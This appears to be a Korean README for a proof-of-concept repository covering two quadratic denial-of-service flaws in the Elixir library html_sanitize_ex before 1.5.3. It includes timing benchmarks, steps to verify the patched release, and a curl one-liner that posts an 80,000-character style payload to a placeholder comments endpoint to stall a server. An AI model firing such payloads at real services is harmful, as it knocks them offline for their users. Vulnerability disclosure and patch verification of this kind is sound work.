
조작된 HTML을 통해 Elixir html_sanitize_ex의 이차(quadratic) DoS를 입증하는 PoC; 타이밍 벤치마크, 원격 악용 curl, 패치된 버전에 대한 검증을 포함합니다.
html_sanitize_ex < 1.5.3의 이차(quadratic) 서비스 거부(DoS) 취약점입니다.
이 라이브러리는 신뢰할 수 없는 HTML을 무력화하기 위해 존재하지만, 두 개의 독립적인 초선형(super-linear) 코드 경로로 인해 단일하게 조작된 요청 하나가 BEAM 스케줄러를 수 초 동안 고정(pin)시킬 수 있습니다. 소수의 동시 요청만으로도 스케줄러 풀이 포화되어 애플리케이션이 응답을 멈춥니다. 영향은 가용성에만 한정됩니다(CVSS 8.2 High).
| CVE | 구성 요소 | 취약점 유형 | 트리거 |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (정규식 역추적) | 끝에 :가 붙는 단어 문자로 구성된 긴 <style> 연속 |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (이차 순회) | 허용된 형제 태그가 중첩 없이 길게 이어진 입력(예: <b>a</b> × 20,000) |
CVE-2026-68749는
html5/1(또는:html5를 확장하는 사용자 정의 scrubber)을 통해서만 도달할 수 있습니다. CVE-2026-68750은basic_html/1,markdown_html/1,strip_tags/1을 포함한 모든 공개 진입점에 존재합니다.
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
요구 사항: Elixir ≥ 1.14 및 인터넷 연결(Hex 의존성을 가져오기 위해).
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
취약한 1.5.2 빌드에서 예상되는 결과 — 공격 타이밍이 정상 입력의 타이밍을 압도합니다. 형태는 다음과 같습니다(예시용이며, 절대값은 하드웨어에 따라 달라지지만 두 공격 기준값은 EEF CNA 권고에서 그대로 가져온 것입니다):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
핵심은 **비율(ratio)**입니다. 공격은 비슷한 크기의 정상 입력보다 수 자릿수 더 느리며, 입력이 10배가 되면 작업량은 10배보다 훨씬 더 늘어납니다. 2.4초(80KB <style>)와 1.7초(20,000개 형제 태그) 수치는 업스트림 권고에서 인용한 것입니다.
mix.exs를 편집하고 고정된 버전을 패치된 릴리스로 올리세요:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
그런 다음 다시 실행하세요:
mix deps.update html_sanitize_ex
mix run poc.exs
1.5.3에서는 정상 입력과 공격 입력의 타이밍이 동일한 자릿수로 수렴합니다. 수정으로 정규식 그룹([-\w]+ → [-\w]{1,64})에 상한이 설정되고, 순회자(traverser)가 단일 Enum.reduce + List.flatten/1 하나로 재작성되었기 때문입니다(O(n²) → O(n)).
실제 Phoenix 앱에서 이러한 호출은 서버가 사용자가 제공한 리치 텍스트를 정화(sanitize)하는 모든 곳에서 발생합니다. 공격자는 페이로드를 필드 값으로 POST하기만 하면 됩니다 — 인증은 필요 없습니다:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
이와 같은 동시 요청 8개는 8코어 호스트에서 8개 BEAM 스케줄러를 모두 고정시킵니다.
교육 및 승인된 테스트 목적으로만 사용하십시오.